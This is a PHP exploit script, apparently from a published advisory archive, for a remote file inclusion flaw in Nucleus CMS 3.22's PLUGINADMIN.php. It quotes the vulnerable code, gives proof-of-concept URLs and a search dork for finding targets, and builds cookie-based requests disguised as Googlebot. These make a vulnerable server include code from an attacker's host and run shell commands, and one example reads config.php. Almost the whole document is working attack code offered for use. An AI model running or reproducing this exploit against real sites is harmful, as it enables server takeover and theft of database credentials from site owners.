|
#!/usr/bin/php -q -d short_open_tag=on=0D
=0D
echo "Nucleus <= 3.22 arbitrary remote inclusion exploit\r\n";=0D
echo "by rgod rgod@autistici.org\r\n";=0D
echo "site: http://retrogod.altervista.org\r\n\r\n";=0D
echo "this is called the \"deadly eyes of Sun-tzu\"\r\n";=0D
echo "dork: Copyright . Nucleus CMS v3.22 . Valid XHTML 1.0 Strict . Valid CSS . Back to top\r\n\r\n";=0D
/*=0D
works with:=0D
register_globals=Om=0D
allow_url_fopen=Om=0D
*/=0D
=0D
if ($argc<5) {=0D
echo "Usage: php ".$argv[0]." host path location cmd OPTIONS\r\n";=0D
echo "host: target server (ip/hostname)\r\n";=0D
echo "path: path to Nucleus\r\n";=0D
echo "location: an arbitrary location with the code to include\r\n";=0D
echo "cmd: a shell command\r\n";=0D
echo "Options:\r\n";=0D
echo " -p[port]: specify a port other than 80\r\n";=0D
echo " -P[ip:port]: specify a proxy\r\n";=0D
echo "Examples:\r\n";=0D
echo "php ".$argv[0]." localhost /nucleus/ http://somehost.com/ cat ./../../config.php\r\n";=0D
echo "php ".$argv[0]." localhost /nucleus/ http://somehost.com/ ls -la -p81\r\n";=0D
echo "php ".$argv[0]." localhost / http://somehost.com/ ls -la -P1.1.1.1:80\r\n\r\n";=0D
echo "note, you need this code in http://somehost.com/ADMIN.php/index.html\r\n";=0D
echo "\r\n";=0D
die;=0D
}=0D
=0D
/* software site: http://nucleuscms.org/=0D
=0D
i) vulnerable code in nucleus/libs/PLUGINADMIN.php at lines 21-49:=0D
=0D
...=0D
global $HTTP_GET_VARS, $HTTP_POST_VARS, $HTTP_COOKIE_VARS, $HTTP_ENV_VARS, $HTTP_POST_FILES, $HTTP_SESSION_VARS;=0D
$aVarsToCheck = array('DIR_LIBS');=0D
foreach ($aVarsToCheck as $varName)=0D
{=0D
if (phpversion() >= '4.1.0')=0D
{=0D
if ( isset($_GET[$varName])=0D
|| isset($_POST[$varName])=0D
|| isset($_COOKIE[$varName])=0D
|| isset($_ENV[$varName])=0D
|| isset($_SESSION[$varName])=0D
|| isset($_FILES[$varName])=0D
){=0D
die('Sorry. An error occurred.');=0D
}=0D
} else {=0D
if ( isset($HTTP_GET_VARS[$varName])=0D
|| isset($HTTP_POST_VARS[$varName])=0D
|| isset($HTTP_COOKIE_VARS[$varName])=0D
|| isset($HTTP_ENV_VARS[$varName])=0D
|| isset($HTTP_SESSION_VARS[$varName])=0D
|| isset($HTTP_POST_FILES[$varName])=0D
){=0D
die('Sorry. An error occurred.');=0D
}=0D
}=0D
}=0D
=0D
include($DIR_LIBS . 'ADMIN.php');=0D
...=0D
=0D
so, if register_globals = On and allow_url_fopen = On, we have arbitrary remote inclusion, poc:=0D
=0D
http://[target]/[path_to_nucleus]/nucleus/libs/PLUGINADMIN.php?GLOBALS[DIR_LIBS]=http://somehost.com/&cmd=ls%20-la=0D
=0D
where on somehost.com we have some php code in=0D
=0D
http://somehost.com/ADMIN.php/index.html=0D
=0D
also, if register_globals = On & magic_quotes_gpc = Off:=0D
=0D
http://[target]/[path_to_nucleus]/nucleus/libs/PLUGINADMIN.php?GLOBALS[DIR_LIBS]=/var/log/httpd/access_log%00&cmd=ls%20-la=0D
=0D
*/=0D
error_reporting(0);=0D
ini_set("max_execution_time",0);=0D
ini_set("default_socket_timeout",5);=0D
=0D
function quick_dump($string)=0D
{=0D
$result='';$exa='';$cont=0;=0D
for ($i=0; $i<=strlen($string)-1; $i++)=0D
{=0D
if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))=0D
{$result.=" .";}=0D
else=0D
{$result.=" ".$string[$i];}=0D
if (strlen(dechex(ord($string[$i])))==2)=0D
{$exa.=" ".dechex(ord($string[$i]));}=0D
else=0D
{$exa.=" 0".dechex(ord($string[$i]));}=0D
$cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}=0D
}=0D
return $exa."\r\n".$result;=0D
}=0D
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';=0D
function sendpacketii($packet)=0D
{=0D
global $proxy, $host, $port, $html, $proxy_regex;=0D
if ($proxy=='') {=0D
$ock=fsockopen(gethostbyname($host),$port);=0D
if (!$ock) {=0D
echo 'No response from '.$host.':'.$port; die;=0D
}=0D
}=0D
else {=0D
$c = preg_match($proxy_regex,$proxy);=0D
if (!$c) {=0D
echo 'Not a valid proxy...';die;=0D
}=0D
$parts=explode(':',$proxy);=0D
echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";=0D
$ock=fsockopen($parts[0],$parts[1]);=0D
if (!$ock) {=0D
echo 'No response from proxy...';die;=0D
}=0D
}=0D
fputs($ock,$packet);=0D
if ($proxy=='') {=0D
$html='';=0D
while (!feof($ock)) {=0D
$html.=fgets($ock);=0D
}=0D
}=0D
else {=0D
$html='';=0D
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {=0D
$html.=fread($ock,1);=0D
}=0D
}=0D
fclose($ock);=0D
#debug=0D
#echo "\r\n".$html;=0D
=0D
}=0D
$host=$argv[1];=0D
$path=$argv[2];=0D
$loc=urlencode($argv[3]);=0D
if (($path[0]<>'/') | ($path[strlen($path)-1]<>'/'))=0D
{die("Check the path, it must begin and end with a trailing slash\r\n");}=0D
$port=80;=0D
$proxy="";=0D
$cmd="";=0D
for ($i=4; $i<=$argc-1; $i++){=0D
$temp=$argv[$i][0].$argv[$i][1];=0D
if (($temp<>"-p") and ($temp<>"-P"))=0D
{=0D
$cmd.=" ".$argv[$i];=0D
}=0D
if ($temp=="-p")=0D
{=0D
$port=str_replace("-p","",$argv[$i]);=0D
}=0D
if ($temp=="-P")=0D
{=0D
$proxy=str_replace("-P","",$argv[$i]);=0D
}=0D
}=0D
$cmd=urlencode($cmd);=0D
if ($proxy<>'') {$p="http://".$host.":".$port.$path;} else {$p=$path;}=0D
=0D
$packet ="GET ".$p."nucleus/libs/PLUGINADMIN.php HTTP/1.0\r\n";=0D
$packet.="User-Agent: Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)\r\n";=0D
$packet.="Host: ".$host."\r\n";=0D
//through cookies, it's the same, maybe can bypass some ids...=0D
$packet.="Cookie: GLOBALS[DIR_LIBS]=".$loc."; cmd=".$cmd.";\r\n";=0D
$packet.="Connection: Close\r\n\r\n";=0D
sendpacketii($packet);=0D
=0D
if (strstr($html,"*delim*"))=0D
{=0D
echo "Exploit succeeded...";=0D
$temp=explode("*delim*",$html);=0D
die("\r\n".$temp[1]."\r\n");=0D
}=0D
//if you are here...=0D
echo "Exploit failed...\r\n";=0D
?>=0D
=0D
original url: http://retrogod.altervista.org/nucleus_322_incl_xpl.html=0D
=0D